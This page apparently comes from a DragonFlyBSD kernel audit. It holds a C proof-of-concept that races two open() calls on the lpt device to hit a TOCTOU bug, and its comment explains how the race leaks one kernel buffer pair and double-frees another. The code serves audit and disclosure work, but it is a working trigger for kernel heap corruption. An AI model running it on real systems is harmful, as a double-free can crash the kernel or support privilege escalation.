⬢ DragonFlyBSD Kernel Audit
DF-4536 / lpt_openrace.c
← back to finding ↓ download raw
/*
 * DF-4536 -- lpt.c lptopen() sc_state check-then-set TOCTOU (lpt.c:458-462).
 *
 * Two processes spin on a shared-memory gate; when the gate flips both call
 * open() within microseconds of each other.  The unsynchronized
 *
 *     if (sc->sc_state) return EBUSY; else sc->sc_state |= LPTINIT;
 *
 * allows both through: two lptopen() bodies run concurrently, each does
 * its own kmalloc(BUFSIZE)/kmalloc(BUFSTATSIZE) (the first pair is leaked),
 * both open()s return 0.  Both closes later kfree() the SAME (second)
 * buffer pair -> heap double-free in the M_LPT zone.
 *
 * A round where BOTH opens return success is a confirmed race hit: after
 * opener 1 returns, sc_state is OPEN|..., so a serialized second open is
 * impossible.
 *
 * ./lpt_openrace <path> <rounds> <gate_ms>
 *   path: /dev/lpt0.ctl (fast, pure-state race) or /dev/lpt0 (full path:
 *         leaks 1024+32 bytes and double-frees on close)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/wait.h>

struct shm {
	volatile unsigned long gate;
	volatile unsigned long stop;
	unsigned long attempts;
	unsigned long hits;
};

struct res {
	int ok;
	int err;
};

static void
child(const char *path, struct shm *s, int wfd, long hold_us)
{
	struct res r;

	for (;;) {
		unsigned long g = s->gate;
		while (s->gate == g && !s->stop)
			;			/* spin */
		if (s->stop)
			break;
		int fd = open(path, O_WRONLY);
		r.ok = (fd >= 0);
		r.err = errno;
		if (write(wfd, &r, sizeof(r)) != sizeof(r))
			_exit(9);
		if (fd >= 0) {
			/* hold the fd so a *sequential* sibling open is
			 * impossible: any double-success proves overlap */
			usleep(hold_us);
			close(fd);
		}
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *path1 = (argc > 1) ? argv[1] : "/dev/lpt0";
	const char *path2 = (argc > 2) ? argv[2] : path1;
	long rounds = (argc > 3) ? atol(argv[3]) : 100000;
	long gate_ms = (argc > 4) ? atol(argv[4]) : 2;
	long hold_us = (argc > 5) ? atol(argv[5]) : 300000;

	struct shm *s = mmap(NULL, sizeof(*s), PROT_READ | PROT_WRITE,
			     MAP_SHARED | MAP_ANON, -1, 0);
	if (s == MAP_FAILED) {
		perror("mmap");
		return 2;
	}
	int p1[2], p2[2];
	if (pipe(p1) || pipe(p2)) {
		perror("pipe");
		return 3;
	}

	pid_t c1 = fork();
	if (c1 == 0) {
		close(p1[0]); close(p2[0]); close(p2[1]);
		child(path1, s, p1[1], hold_us);
	}
	pid_t c2 = fork();
	if (c2 == 0) {
		close(p1[0]); close(p1[1]); close(p2[0]);
		child(path2, s, p2[1], hold_us);
	}
	close(p1[1]);
	close(p2[1]);

	FILE *f1 = fdopen(p1[0], "r");
	FILE *f2 = fdopen(p2[0], "r");
	struct res r1, r2;
	long i;
	int hit = 0;

	printf("[*] racing open(\"%s\") vs open(\"%s\"), %ld rounds, gate every %ld ms\n",
	    path1, path2, rounds, gate_ms);
	fflush(stdout);

	for (i = 0; i < rounds; i++) {
		if (usleep(gate_ms * 1000) != 0)
			break;
		s->gate++;
		if (fread(&r1, sizeof(r1), 1, f1) != 1 ||
		    fread(&r2, sizeof(r2), 1, f2) != 1)
			break;
		if (r1.ok && r2.ok) {
			hit++;
			printf("[+] HIT at round %ld: BOTH opens returned 0"
			    " (err1=%d err2=%d) -- concurrent lptopen()!\n",
			    i, r1.err, r2.err);
			fflush(stdout);
		}
	}
	s->stop = 1;
	s->gate++;
	kill(c1, SIGKILL);
	kill(c2, SIGKILL);
	waitpid(c1, NULL, 0);
	waitpid(c2, NULL, 0);
	printf("[*] done: %ld rounds, %d double-open hits\n", i, hit);
	return (hit > 0) ? 0 : 1;
}